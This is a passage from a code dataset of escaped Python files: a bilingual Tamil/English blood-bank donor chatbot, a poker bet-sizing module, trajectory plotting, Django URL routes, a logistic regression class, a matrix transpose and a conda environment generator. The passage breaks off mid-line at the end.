உங்களுக்கு உதவ இங்கே இருக்கிறேன். உங்கள் கோரிக்கையைச் சொல்லுங்கள்!\",\n    \"HI\"            : \"வணக்கம், நான் உங்களுக்கு உதவ இங்கே இருக்கிறேன். உங்கள் கோரிக்கையைச் சொல்லுங்கள்!\",\n    \"HELLO\"         : \"வணக்கம், நான் உங்களுக்கு உதவ இங்கே இருக்கிறேன். உங்கள் கோரிக்கையைச் சொல்லுங்கள்!\",\n\n\n    #Asking the user for his details\n    \"பதிவு\"                    :   \"நல்ல முடிவு!\\nஉங்கள் பெயரைச் சொல்லுங்கள்\",\n    \"இரத்ததானம்செய்ய\"    :     \"நல்ல முடிவு!\\nஉங்கள் பெயரைச் சொல்லுங்கள்\",\n    \"ரத்ததானம்செய்ய\"      :    \"நல்ல முடிவு!\\nஉங்கள் பெயரைச் சொல்லுங்கள்\",\n    \"தானம்செய்ய\"           :    \"நல்ல முடிவு!\\nஉங்கள் பெயரைச் சொல்லுங்கள்\",\n\n\n    #Getting Blood group\n    \"எனக்குரத்தம்தேவை\"       : \"இரத்த வகையை சொல்லவும்\",\n    \"எனக்குரத்தம்வேண்டும்\"    : \"இரத்த வகையை சொல்லவும்\",\n    \"எனக்குஇரத்தம்தேவை\"     : \"இரத்த வகையை சொல்லவும்\",\n    \"எனக்குஇரத்தம்வேண்டும்\"  : \"இரத்த வகையை சொல்லவும்\",\n    \"இரத்த\"                     : \"இரத்த வகையை சொல்லவு��்\",\n    \"ரத்த\"                       : \"இரத்த வகையை சொல்லவும்\",\n    \"தானம்\"                    : \"இரத்த வகையை சொல்லவும்\",\n\n    #Blood Groups    \n    \"BLOODGROUP\"    : \"இரத்தம் பெருநரின் மாவட்டம் சொல்லவும்\",\n    \n    \n    #Location\n    \"LOCATION\"      : \"தயவுசெய்து காத்திருங்கள், கிடைக்கக்கூடிய இரத்த தானம் செய்பவர்களை நான் தேடுகிறேன்\",\n\n}\n\nresponse_dict = {\n\n    #Welcome Commands\n    \"HI\"            : \"Hi, How can I help you!\",\n    \"HELLO\"         : \"Hi, How can I help you!\",\n\n    #Asking the user for his details\n    \"REGISTER\"              : \"That's great!\\nPlease tell me your Name\",\n    \"BECOMEADONOR\"          : \"That's great!\\nPlease tell me your Name\",\n    \"BECOMEABLOODDONOR\"     : \"That's great!\\nPlease tell me your Name\",\n    \"DONATE\"                : \"That's great!\\nPlease tell me your Name\",\n    \"DONATEBLOOD\"           : \"That's great!\\nPlease tell me your Name\",\n\n    #Getting Blood group\n    \"INEEDBLOOD\"     : \"Enter the blood group\",\n    \"IWANTBLOOD\"     : \"Enter the blood group\",\n    \"DONOR\"          : \"Enter the blood group\",\n\n    #Blood Groups    \n    \"BLOODGROUP\"    : \"Tell me the blood recipient's District\",\n    \n    \n    #Location\n    \"LOCATION\" : \"Please wait, I am checking the available donors\",\n}\n\ndef Mario(message_str):\n    \n    global language\n    global input_type\n    if input_type == \"RNAME\" or input_type == \"RPLACE\":\n        if language == \"TAM\":\n            message_str = tamil_to_english(message_str).capitalize()\n        else:\n            message_str = message_str.capitalize()\n\n    elif language == \"TAM\":\n        message_str = message_str.strip().replace(\" \",\"\")\n    else:\n        message_str = message_str.strip().replace(\" \",\"\").upper()\n\n    if (\"THANK\" in message_str) or (\"EXIT\" in message_str) or (\"நன்றி\" in message_str) or (\"போகிறேன்\" in message_str) or (\"வருகிறேன்\" in message_str):\n        if language == \"TAM\":\n            return english_to_tamil(\"Thankyou for using our service!\")\n        else:\n            return \"Thankyou for using our service!\"\n\n\n    global blood_group\n    global recipient_location\n    global rname\n    global rbloodgroup\n    global rlocation\n    global rmobile\n    if input_type == \"LANG\":\n        \n        if (\"TAM\" in message_str) or (\"த\" in message_str) or (\"2\" == message_str):\n            language = \"TAM\"\n            input_type = \"N\"\n            return \"வணக்கம்! என் பெயர் மேரியோ. உங்கள் கோரிக்கையைச் சொல்லுங்கள்!\"\n            \n        elif \"ENG\" in message_str or (\"1\" == message_str):\n            language = \"ENG\"\n            input_type = \"N\"\n            return \"Hi, I am Mario. How can I help you!\"\n\n        elif \"HI\" in message_str or \"HELLO\" in message_str:\n\n            var = \"Hi, I am Mario. Your personal Blood Bank Bot!\\n\"\n            var = var + \"Please choose your language\\n\"          \n            var = var + \"உங்கள் மொழியைத் தேர்வுசெய்க\\n\"\n            var = var + \"(English/தமிழ்)\"\n            return var\n            \n        else:\n            return \"Please enter proper language\"\n\n    elif input_type == \"N\":\n\n        if language == \"TAM\":\n            dict = response_dict_tamil\n        else:\n            dict = response_dict\n\n        for i in list(dict.keys()):\n            \n            if (i in message_str) or (message_str in i):\n                if (i == \"INEEDBLOOD\") or (i == \"IWANTBLOOD\") or (i == \"DONOR\") or (i == \"எனக்குரத்தம்தேவை\") or (i == \"எனக்குரத்தம்வேண்டும்\") or (i == \"எனக்குஇரத்தம்தேவை\") or (i == \"எனக்குஇரத்தம்வேண்டும்\") or (i == \"இரத்த\") or (i == \"ரத்த\") or (i == \"தானம்\"):\n                    input_type = \"BLOOD\"\n\n                elif (i == \"REGISTER\") or (i == \"BECOMEADONOR\") or (i == \"BECOMEABLOODDONOR\") or (i == \"DONATE\") or (i == \"DONATEBLOOD\") or (i == \"பதிவு\") or (i == \"இரத்ததானம்செய்ய\") or (i == \"ரத்ததானம்செய்ய\") or (i == \"தானம்செய்ய\"):\n                    input_type = \"RNAME\"\n\n                if language == \"TAM\":\n                    return response_dict_tamil[i]\n                else:\n                    return response_dict[i]\n        else:\n            input_type = \"N\"\n            if language == \"TAM\":\n                return english_to_tamil(\"Command not configured\")\n            else:\n                return \"Command not configured\"\n\n    elif input_type == \"RNAME\":\n        rname = message_str\n        input_type = \"RBLOOD\"\n\n        if language == \"TAM\":\n            return english_to_tamil(\"What is your Blood Group\")\n        else:\n            return \"What is your Blood Group\"\n\n    elif input_type == \"RBLOOD\":\n        blood_group = message_str\n\n        if \"POSITIVE\" in blood_group:\n            blood_group = blood_group.replace(\"POSITIVE\",\"+\")\n        elif \"NEGATIVE\" in blood_group:\n            blood_group = blood_group.replace(\"NEGATIVE\",\"-\")\n        elif \"+VE\" in blood_group:\n            blood_group = blood_group.replace(\"+VE\",\"+\")\n        elif \"-VE\" in blood_group:\n            blood_group = blood_group.replace(\"-VE\",\"-\")\n        elif \"பாசிடிவ்\" in blood_group:\n            blood_group = blood_group.replace(\"பாசிடிவ்\",\"+\")\n        elif \"நேகடிவ்\" in blood_group:\n            blood_group = blood_group.replace(\"நேகடிவ்\",\"-\")\n\n        if blood_group in blood_groups_list:\n            rbloodgroup = blood_group\n        else:\n            if language == \"TAM\":\n                return english_to_tamil(\"Please enter a proper blood group\")\n            else:\n                return \"Please enter a proper blood group\"\n\n        input_type = \"RPLACE\"\n\n        if language == \"TAM\":\n            return english_to_tamil(\"Tell me your district\")\n        else:\n            return \"Tell me your district\"\n\n    elif input_type == \"RPLACE\":\n        if message_str.upper().strip().replace(\" \",\"\") in donors_location_list:\n            rlocation = message_str.upper().strip().replace(\" \",\"\")\n            input_type = \"RMOBILE\"\n            if language == \"TAM\":\n                return english_to_tamil(\"Tell me your mobile number\")\n            else:\n                return \"Tell me your mobile number\"\n        else:\n            if language == \"TAM\":\n                return english_to_tamil(\"Please enter a proper district name\")\n            else:\n                return \"Please enter a proper district name\"\n    \n    elif input_type == \"RMOBILE\":\n        message_str = message_str.replace(\"+91\",\"\").replace(\" \",\"\").strip()\n        try:\n            message_str = str(int(message_str))\n        except:\n            if language == \"TAM\":\n                return english_to_tamil(\"Please enter a proper mobile number\")\n            else:\n                return \"Please enter a proper mobile number\"\n        \n        if len(message_str) == 10:\n            rmobile = message_str\n        else:\n            if language == \"TAM\":\n                return english_to_tamil(\"Please enter a proper mobile number\")\n            else:\n                return \"Please enter a proper mobile number\"\n\n        error_flag = 0\n        details_list = [rname, rbloodgroup, rlocation, rmobile]\n        try:\n            with open(\"Data.csv\", 'a') as f_object:  \n                writer_object = writer(f_object)\n                writer_object.writerow(details_list)\n                f_object.close()            \n\n        except:\n            print(str(sys.exc_info()[0]))\n            error_flag = 1\n\n        if error_flag == 0:\n            input_type = \"N\"\n            if language == \"TAM\":\n                return english_to_tamil(\"You have been added to the donors list successfully!\")\n            else:\n                return \"You have been added to the donors list successfully!\"\n        else:\n            input_type = \"RNAME\"\n            if language == \"TAM\":\n                return english_to_tamil(\"There has been an error! Please tell me your name again.\")\n            else:\n                return \"There has been an error! Please tell me your name again.\"\n\n            \n\n    elif input_type == \"BLOOD\":\n        blood_group = message_str\n\n        if \"POSITIVE\" in blood_group:\n            blood_group = blood_group.replace(\"POSITIVE\",\"+\")\n        elif \"NEGATIVE\" in blood_group:\n            blood_group = blood_group.replace(\"NEGATIVE\",\"-\")\n        elif \"+VE\" in blood_group:\n            blood_group = blood_group.replace(\"+VE\",\"+\")\n        elif \"-VE\" in blood_group:\n            blood_group = blood_group.replace(\"-VE\",\"-\")\n        elif \"பாசிடிவ்\" in blood_group:\n            blood_group = blood_group.replace(\"பாசிடிவ்\",\"+\")\n        elif \"நேகடிவ்\" in blood_group:\n            blood_group = blood_group.replace(\"நேகடிவ்\",\"-\")\n\n        input_type = \"PLACE\"\n\n        if language == \"TAM\":\n            return response_dict_tamil[\"BLOODGROUP\"]\n        else:\n            return response_dict[\"BLOODGROUP\"]\n\n    elif input_type == \"PLACE\":\n\n        if language == \"TAM\":\n            message_str = tamil_to_english(message_str)\n        recipient_location = message_str\n\n        blood_group = blood_group.strip().replace(\" \",\"\").upper()\n        recipient_location = recipient_location.strip().replace(\" \",\"\").upper()\n        \n        input_type = \"N\"\n        \n\n        if (blood_group in blood_groups_list) and (recipient_location in donors_location_list):            \n            global data_list\n            for i in BD_data:\n                a = i[1].strip().replace(\" \",\"\").upper()\n                b = i[2].strip().replace(\" \",\"\").upper()\n                if (blood_group == a) and (recipient_location == b):\n                    if language == \"TAM\":\n                        data_list.append(\"பெயர் : \" + english_to_tamil(str(i[0])))\n                        data_list.append(\"கைபேசி எண் : \" + str(i[3]))\n                    else:\n                        data_list.append(\"Name : \" + str(i[0]))\n                        data_list.append(\"Mobile Number : \" + str(i[3]))\n                    data_list.append(\"\")\n            return data_list\n\n\n        else:\n            if language == \"TAM\":\n                return english_to_tamil(\"Data not received properly, Please try again\")\n            else:\n                return \"Data not received properly, Please try again\"\n\n\n        if language == \"TAM\":\n            return response_dict_tamil[\"LOCATION\"]\n        else:\n            return response_dict[\"LOCATION\"]\n\n\ndef test(string):\n    return string","sub_path":"Website Bot/ProTwo/AppTwo/bot/MarioBot.py","file_name":"MarioBot.py","file_ext":"py","file_size_in_byte":14369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"91090292","text":"'''\n\tGives allowed bets during a game.\n\tBets are restricted to be from a list of predefined fractions of the pot.\n'''\nimport numpy as np\n\nfrom Settings.arguments import arguments\n\nclass BetSizing():\n\tdef __init__(self, pot_fractions=None):\n\t\t''' Constructor\n\t\t@param: pot_fractions (num_fractions,) a list of fractions of the pot\n\t\t\t\twhich are allowed as bets, sorted in ascending (min->max) order\n\t\t'''\n\t\tif pot_fractions is not None: self.pot_fractions = pot_fractions\n\t\telse: self.pot_fractions = np.array([1], dtype=arguments.dtype)\n\n\n\tdef get_possible_bets(self, node):\n\t\t''' Gives the bets which are legal at a game state.\n\t\t@param: node a representation of the current game state, with fields:\n\t\t\t\t* bets (2,): the number of chips currently committed by each player\n\t\t\t\t * current_player (): the currently acting player\n\t\t@return (N,2) tensor where N is the number of new possible game states,\n\t\t\t\tcontaining N sets of new commitment levels for each player\n\t\t'''\n\t\tcurrent_player = node.current_player\n\t\tassert (current_player == 0 or current_player == 1, 'Wrong player for bet size computation')\n\t\topponent = 1 - current_player\n\t\topponent_bet = node.bets[opponent]\n\t\tassert(node.bets[current_player] <= opponent_bet)\n\t\t# compute min possible raise size\n\t\tmax_raise_size = arguments.stack - opponent_bet # == call_size\n\t\tmin_raise_size = opponent_bet - node.bets[current_player]\n\t\tmin_raise_size = max(min_raise_size, arguments.ante)\n\t\tmin_raise_size = min(max_raise_size, min_raise_size)\n\t\tif min_raise_size == 0:\n\t\t\treturn np.zeros([], dtype=arguments.int_dtype) # (N,P), when N = 0\n\t\telif min_raise_size == max_raise_size: # all in\n\t\t\tout = np.full([1,2], opponent_bet, dtype=arguments.int_dtype)\n\t\t\tout[0][current_player] = opponent_bet + min_raise_size\n\t\t\treturn out # (N,P)\n\t\telse:\n\t\t\t# iterate through all bets and check if they are possible\n\t\t\tmax_possible_bets_count = self.pot_fractions.shape[0] + 1 # we can always go allin\n\t\t\tout = np.full([max_possible_bets_count,2], opponent_bet, dtype=arguments.int_dtype)\n\t\t\t# take pot size after opponent bet is called\n\t\t\tpot = opponent_bet * 2\n\t\t\tused_bets_count = 0\n\t\t\t# try all pot fractions bet and see if we can use them\n\t\t\tfor i in range(self.pot_fractions.shape[0]):\n\t\t\t\traise_size = pot * self.pot_fractions[i]\n\t\t\t\tif raise_size >= min_raise_size and raise_size < max_raise_size:\n\t\t\t\t\tout[used_bets_count, current_player] = opponent_bet + raise_size\n\t\t\t\t\tused_bets_count += 1\n\t\t\t# adding allin\n\t\t\tassert (used_bets_count <= max_possible_bets_count)\n\t\t\tout[used_bets_count, current_player] = opponent_bet + max_raise_size\n\t\t\tused_bets_count += 1\n\t\t\treturn out[ :used_bets_count , : ]\n\n\n\n\n#\n","sub_path":"Game/bet_sizing.py","file_name":"bet_sizing.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"28237194","text":"import sys\nimport os\nimport logging\nimport matplotlib.pyplot as plt\nimport subprocess\nimport numpy as np\nimport csv\nimport shutil\ncolorLine =['#ff0000', '#990000', '#550000', '#000000']\n#colorLine =[(1.0, 0.0, 0.0), (0.75, 0.0, 0.0), (0.5, 0.0, 0.0), (0.25, 0.0, 0.0)]\n\ndef plotCase(rootAddrs):\n    markCount = 10\n    if len(rootAddrs)<=0:\n        print(\"plot_traj_fun/plotCase wrong!!\")\n        return\n\n    fig = plt.figure(figsize=(6, 6))\n    x_gps= np.array([])\n    y_gps= np.array([])\n    with open(rootAddrs[0] + '/gps.txt', newline='') as csvfile:\n        spamreader = csv.reader(csvfile)\n        for row in spamreader:\n            items = row[0].split(' ')\n            x_gps = np.append(x_gps, float(items[0]))\n            y_gps = np.append(y_gps, float(items[1]))\n    avi_x = np.mean(x_gps)\n    avi_y = np.mean(y_gps)\n    x_gps = x_gps - avi_x\n    y_gps = y_gps - avi_y\n    line_gps, = plt.plot(x_gps, y_gps, 'b')\n    line_gps.set_label('GPS')\n    frameCount = len(x_gps)\n    step = int(frameCount / markCount)\n    for i in range(0, frameCount-1):\n            if i%step == 0:\n                plt.plot(x_gps[i], y_gps[i],'b.')\n\n    n=0\n    copy_flag = False\n    for rootAddr in rootAddrs:\n        x_slam= np.array([])\n        y_slam= np.array([])\n        if not os.path.exists(rootAddr + '/slam_pose_m.txt'):\n            continue\n        with open(rootAddr + '/slam_pose_m.txt', newline='') as csvfile:\n            spamreader = csv.reader(csvfile)\n            for row in spamreader:\n                x_slam = np.append(x_slam, float(row[1]))\n                y_slam = np.append(y_slam, float(row[3]))\n\n        x_slam = x_slam - avi_x\n        y_slam = y_slam - avi_y\n        if n==0:\n            ss=x_slam - x_gps\n            d_x = np.mean(np.abs(x_slam - x_gps))\n            d_y = np.mean(np.abs(y_slam - y_gps))\n            error= np.sqrt(d_x*d_x+d_y*d_y)\n            plt.annotate('Error: '+ str(error),[0,0])\n            if error>10:\n                copy_flag = True\n        line_slam, = plt.plot(x_slam, y_slam, colorLine[n])\n        line_slam.set_label('SLAM')\n        slam_frame_count = len(x_slam)\n        for i in range(0, frameCount-1):\n            if i%step == 0:\n                if i<slam_frame_count:\n                    plt.plot(x_slam[i], y_slam[i],color=colorLine[n],  marker='.')\n        n=n+1\n\n    plt.legend()\n    #plt.axes().set_aspect('equal')\n    plt.savefig(rootAddrs[0] + '/traj.png', dpi=120)\n    if copy_flag:\n        (parent_addr, filename) = os.path.split(rootAddrs[0])\n        (parent_addr, filename) = os.path.split(parent_addr)\n        (parent_addr, case_name) = os.path.split(parent_addr)\n        (parent_addr, case_group_name) = os.path.split(parent_addr)\n\n        shutil.copyfile(rootAddrs[0] + '/traj.png', parent_addr + '/traj_'+case_name+'.png')\n\n\n    #fig.clear()\n    #plt.show()\n\ndef plot(plotpath, branch_info, savepath):\n    #Check whether the input path is correct\n    compare_num = len(plotpath)\n    dirname = []\n    case_data = {}\n    for i in range(compare_num):\n        if(not os.path.exists(plotpath[i])):\n            logging.error('Path not exist!')\n            sys.exit(1)\n        dirname.append(plotpath[i])\n    each_casenum = []\n    #Store the time data ,keypoints data and mappoints data of all test cases\n    for eachcase in dirname:\n        outputpath = {}\n        case_group_addrs = []\n        case_groups = os.listdir(eachcase)\n        for case_group in case_groups:\n            if(os.path.isdir(eachcase + '/' + case_group) and case_group != 'kml_snapshot'):\n                case_group_addrs.append(eachcase + '/' + case_group)\n        for case_group_addr in case_group_addrs:\n            cases = os.listdir(case_group_addr)\n            for case_name in cases:\n                case_addr = case_group_addr +'/'+ case_name\n                if os.path.isdir(case_addr):\n                    if case_name not in case_data.keys():\n                        case_data[case_name] = []\n                    case_data[case_name].append(case_addr + '/output/')\n\n    for case_name in case_data:\n        #for output_addr in case_data[case_name]:\n            #subprocess.run([\"/Volumes/chamo/working/test_case_rf/script/transfer_to_gps/convert2gps\", output_addr])\n        plotCase(case_data[case_name])\n\nplotpath =[\n    '/Volumes/chamo/dataset/test/cases_2016-11-03-19-14',\n    '/Volumes/chamo/dataset/test/cases_2016-11-03-09-18',\n    '/Volumes/chamo/dataset/test/cases_2016-11-01-19-04',\n    '/Volumes/chamo/dataset/test/cases_2016-10-31-19-14'\n]\nbranch_info =[]\nsavepath = '/Volumes/chamo/dataset/test'\nplot(plotpath, branch_info, savepath)","sub_path":"python/plotting/plot_traj_fun.py","file_name":"plot_traj_fun.py","file_ext":"py","file_size_in_byte":4585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"48830500","text":"class Cat:\n    def __init__(self, new_name):\n        print(\"这是一个初始化方法\")\n        # 1. 把希望设置的属性值，定义成 __init__ 方法的参数\n        # 2. 在方法内部使用 self.属性 = 形参 接收外部传递的参数\n        # 3. 在创建对象时，使用 类名(属性1, 属性2...) 调用\n        self.name = new_name\n\n    def eat(self):\n        print(\"%s 爱吃鱼\" % self.name)\n\n\n# 使用类名()创建对象的时候，会自动调用初始化方法__init__\ntom = Cat(\"汤姆\")\ntom.eat()\n\n\nlazy_cat = Cat(\"大懒猫\")\nlazy_cat.eat()","sub_path":"08-面向对象基础/miaobao_06_利用参数设置属性初始值.py","file_name":"miaobao_06_利用参数设置属性初始值.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"646308011","text":"from django.conf.urls import url\nfrom . import views\nfrom django.views.generic import TemplateView\n\nurlpatterns = [\n    url(r'^$', views.post_list, name='post_list'),\n    url(r'^post/(?P<pk>[0-9]+)/$', views.post_detail, name='post_detail'),\n    url(r'^post/new/$', views.post_new, name='post_new'),\n    url(r'^post/(?P<pk>[0-9]+)/edit/$', views.post_edit, name='post_edit'),\n    url(r'^predictions/$', views.predictions, name='predictions'),\n    url(r'^predictions/history/$', views.predictions_filter, name='predictions_history'),\n    url(r'^about/$', TemplateView.as_view(template_name='predictions/about.html'), name='about'),\n    url(r'^contact-us/$', TemplateView.as_view(template_name='predictions/contact_us.html'), name='contactus'),\n    url(r'^game/(?P<pk>[0-9]+)/$', views.game_detail, name='game_detail'),\n    url(r'^metrics/$', views.metrics, name='metrics'),\n    url(r'^pastpredictions/(?P<seasonid>[0-9]+)/$', views.past_predictions, name='past_predictions'),\n    url(r'^newpredictions/(?P<seasonid>[0-9]+)/(?P<gamewk>[0-9]+)/$', views.new_predictions, name='new_predictions'),\n    url(r'^test/$', views.testview, name='test'),\n    url(r'^dashboard/$', views.dashboard, name='dashboard')\n    # url(r'^games_filtered/$', views.games_filter, name='games_filtered'),\n]\n","sub_path":"predictions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"447396301","text":"import numpy as np\nfrom .metrics import accuracy_score\n\nclass LogisticRegression:\n    \"\"\"逻辑回归\"\"\"\n    def __init__(self):\n        \"\"\"初始化LogisticRegression 模型\"\"\"\n        self.coef_ = None #系数\n        self.intercept_ = None #截距\n        self._theta = None #西塔\n\n    def _sigmoid(self,t):\n        \"\"\"sigmoid函数: https://baike.baidu.com/item/Sigmoid%E5%87%BD%E6%95%B0/7981407\"\"\"\n        return 1. / (1. + np.exp(-t))\n\n    def fit(self,X_train,y_train,eta=0.01,n_iters=1e4):\n        \"\"\"[批量梯度下降法]根据训练数据集X_train,y_train,使用梯度下降法训练LogisticRegression模型\"\"\"\n        assert X_train.shape[0] == y_train.shape[0] ,\\\n        \"the size of X_train must be equal to the size of y_train\"\n\n        \n        def J(theta,X_b,y):\n            \"\"\"逻辑回归的损失函数\"\"\"\n            y_hat = self._sigmoid(X_b.dot(theta))\n            try:\n                return np.sum( y*np.log(y_hat) + (1-y)*np.log(1-y_hat) ) / len(y)\n            except:\n                return float('inf')\n            \n        def dJ(theta,X_b,y):\n            \"\"\"对逻辑回归的损失函数求导\"\"\"\n            # 向量化 运算\n            return X_b.T.dot(self._sigmoid(X_b.dot(theta)) - y) /len(y)\n\n        def gradient_descent(X_b,y,initial_theta,eta,n_iters=1e4,epsilon=1e-8):\n            \"\"\"梯度下降法\"\"\"\n            theta = initial_theta\n            cur_iter = 0\n            \n            # 循环次数\n            while cur_iter < n_iters:\n                gradient = dJ(theta,X_b,y)\n                last_theta = theta\n                theta = theta - eta * gradient\n                if (abs( J(theta,X_b,y) - J(last_theta,X_b,y) ) < epsilon):\n                    break\n                cur_iter += 1\n            return theta\n\n\n        # 组装矩阵, 第一列是 1, 第二列之后是x\n        X_b = np.hstack([ np.ones((len(X_train),1)),X_train ])\n        # 初始化 theta 为 0\n        initial_theta = np.zeros(X_b.shape[1])\n        # eta 学习率\n        self._theta = gradient_descent(X_b,y_train,initial_theta,eta,n_iters)\n        self.intercept_ = self._theta[0]\n        self.coef_ = self._theta[1:]\n\n        return self    \n\n    def predict_proba(self,X_predict):\n        \"\"\"[预测概率]给定等待预测数据集X_predict,返回表示X_predict的结果概率向量\"\"\"\n        assert self.intercept_ is not None and self.coef_ is not None,\\\n        \"must fit before predict\"\n\n        assert X_predict.shape[1] == len(self.coef_) ,\\\n        \"the featurn number of X_predict must be equal to X_train\"\n        # 预测值\n        X_b = np.hstack([np.ones((len(X_predict),1)),X_predict])\n        return  self._sigmoid(X_b.dot(self._theta))\n\n\n    def predict(self,X_predict):\n        \"\"\"给定等待cbij数据集X_predict,返回表示X_predict的结果向量\"\"\"\n\n        assert self.intercept_ is not None and self.coef_ is not None,\\\n        \"must fit before predict\"\n\n        assert X_predict.shape[1] == len(self.coef_) ,\\\n        \"the featurn number of X_predict must be equal to X_train\"\n\n        # 预测值\n        proba = self.predict_proba(X_predict)\n\n        return  np.array(proba >= 0.5, dtype='int')\n\n    def score(self,X_test,y_test):\n        \"\"\"根据预测数据集X_test,y_test确定当前模型的准确度\"\"\"\n        y_predict = self.predict(X_test)\n        return  accuracy_score(y_test,y_predict)\n\n    def __repr__(self):\n        return \"LogisticRegression()\"","sub_path":"09-Logistic-Regression/05-Decision-Boundary/playML/LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"643691636","text":"class Solution:\n    def transpose(self, A):\n        \"\"\"\n        :type A: List[List[int]]\n        :rtype: List[List[int]]\n        \"\"\"\n        n, m = len(A), len(A[0])\n        result = [[None for _ in range(n)] for _ in range(m)]\n        \n        for i in range(n):\n            for j in range(m):\n                result[j][i] = A[i][j]\n        \n        return result\n","sub_path":"transpose-matrix.py","file_name":"transpose-matrix.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"618228027","text":"#!/usr/bin/python\n\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\n# This script creates yaml files to build conda environments\n# For generating a conda file for running only python code:\n# $ python generate_conda_file.py\n# For generating a conda file for running python gpu:\n# $ python generate_conda_file.py --gpu\n# For generating a conda file for running pyspark:\n# $ python generate_conda_file.py --pyspark\n# For generating a conda file for running python gpu and pyspark:\n# $ python generate_conda_file.py --gpu --pyspark\n# For generating a conda file for running python gpu and pyspark with a particular version:\n# $ python generate_conda_file.py --gpu --pyspark-version 2.4.0\n\nimport argparse\nimport textwrap\n\n\nHELP_MSG = \"\"\"\nTo create the conda environment:\n$ conda env create -f {conda_env}.yaml\n\nTo update the conda environment:\n$ conda env update -f {conda_env}.yaml\n\nTo register the conda environment in Jupyter:\n$ conda activate {conda_env}\n$ python -m ipykernel install --user --name {conda_env} --display-name \"Python ({conda_env})\"\n\"\"\"\n\nCHANNELS = [ \"defaults\", \"conda-forge\", \"pytorch\", \"fastai\"]\n\nCONDA_BASE = {\n    \"mock\": \"mock==2.0.0\",\n    \"dask\": \"dask>=0.17.1\",\n    \"fastparquet\": \"fastparquet>=0.1.6\",\n    \"gitpython\": \"gitpython>=2.1.8\",\n    \"ipykernel\": \"ipykernel>=4.6.1\",\n    \"jupyter\": \"jupyter>=1.0.0\",\n    \"matplotlib\": \"matplotlib>=2.2.2\",\n    \"numpy\": \"numpy>=1.13.3\",\n    \"pandas\": \"pandas>=0.23.4\",\n    \"pymongo\": \"pymongo>=3.6.1\",\n    \"python\": \"python==3.6.8\",\n    \"pytest\": \"pytest>=3.6.4\",\n    \"pytorch\": \"pytorch-cpu>=1.0.0\",\n    \"seaborn\": \"seaborn>=0.8.1\",\n    \"scikit-learn\": \"scikit-learn==0.19.1\",\n    \"scipy\": \"scipy>=1.0.0\",\n    \"scikit-surprise\": \"scikit-surprise>=1.0.6\",\n    \"tensorflow\": \"tensorflow==1.12.0\",\n}\n\nCONDA_PYSPARK = {\"pyarrow\": \"pyarrow>=0.8.0\", \"pyspark\": \"pyspark==2.3.1\"}\n\nCONDA_GPU = {\"numba\": \"numba>=0.38.1\", \"pytorch\": \"pytorch>=1.0.0\", \"tensorflow\": \"tensorflow-gpu==1.12.0\"}\n\nPIP_BASE = {\n    \"azureml-sdk[notebooks,contrib]\": \"azureml-sdk[notebooks,contrib]\",\n    \"azure-storage\": \"azure-storage>=0.36.0\",\n    \"black\": \"black>=18.6b4\",\n    \"dataclasses\": \"dataclasses>=0.6\",\n    \"hyperopt\": \"hyperopt==0.1.1\",\n    \"idna\": \"idna==2.7\",\n    \"memory-profiler\": \"memory-profiler>=0.54.0\",\n    \"nvidia-ml-py3\": \"nvidia-ml-py3>=7.352.0\",\n    \"papermill\": \"papermill>=0.15.0\",\n    \"pydocumentdb\": \"pydocumentdb>=2.3.3\",\n    \"fastai\": \"fastai==1.0.46\",\n}\n\nPIP_PYSPARK = {}\nPIP_GPU = {}\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(\n        description=textwrap.dedent(\n            \"\"\"\n        This script generates a conda file for different environments.\n        Plain python is the default, but flags can be used to support PySpark and GPU functionality\"\"\"\n        ),\n        epilog=HELP_MSG,\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n    )\n    parser.add_argument(\"--name\", help=\"specify name of conda environment\")\n    parser.add_argument(\n        \"--gpu\", action=\"store_true\", help=\"include packages for GPU support\"\n    )\n    parser.add_argument(\n        \"--pyspark\", action=\"store_true\", help=\"include packages for PySpark support\"\n    )\n    parser.add_argument(\n        \"--pyspark-version\", help=\"provide specific version of PySpark to use\"\n    )\n    args = parser.parse_args()\n\n    # check pyspark version\n    if args.pyspark_version is not None:\n        args.pyspark = True\n        pyspark_version_info = args.pyspark_version.split(\".\")\n        if len(pyspark_version_info) != 3 or any(\n            [not x.isdigit() for x in pyspark_version_info]\n        ):\n            raise TypeError(\n                \"PySpark version input must be valid numeric format (e.g. --pyspark-version=2.3.1)\"\n            )\n    else:\n        args.pyspark_version = \"2.3.1\"\n\n    # set name for environment and output yaml file\n    conda_env = \"reco_base\"\n    if args.gpu and args.pyspark:\n        conda_env = \"reco_full\"\n    elif args.gpu:\n        conda_env = \"reco_gpu\"\n    elif args.pyspark:\n        conda_env = \"reco_pyspark\"\n\n    # overwrite environment name with user input\n    if args.name is not None:\n        conda_env = args.name\n\n    # update conda and pip packages based on flags provided\n    conda_packages = CONDA_BASE\n    pip_packages = PIP_BASE\n    if args.pyspark:\n        conda_packages.update(CONDA_PYSPARK)\n        conda_packages[\"pyspark\"] = \"pyspark=={}\".format(args.pyspark_version)\n        pip_packages.update(PIP_PYSPARK)\n    if args.gpu:\n        conda_packages.update(CONDA_GPU)\n        pip_packages.update(PIP_GPU)\n\n    # write out yaml file\n    conda_file = \"{}.yaml\".format(conda_env)\n    with open(conda_file, \"w\") as f:\n        for line in HELP_MSG.format(conda_env=conda_env).split(\"\\n\"):\n            f.write(\"# {}\\n\".format(line))\n        f.write(\"name: {}\\n\".format(conda_env))\n        f.write(\"channels:\\n\")\n        for channel in CHANNELS:\n            f.write(\"- {}\\n\".format(channel))\n        f.write(\"dependencies:\\n\")\n        for conda_package in conda_packages.values():\n            f.write(\"- 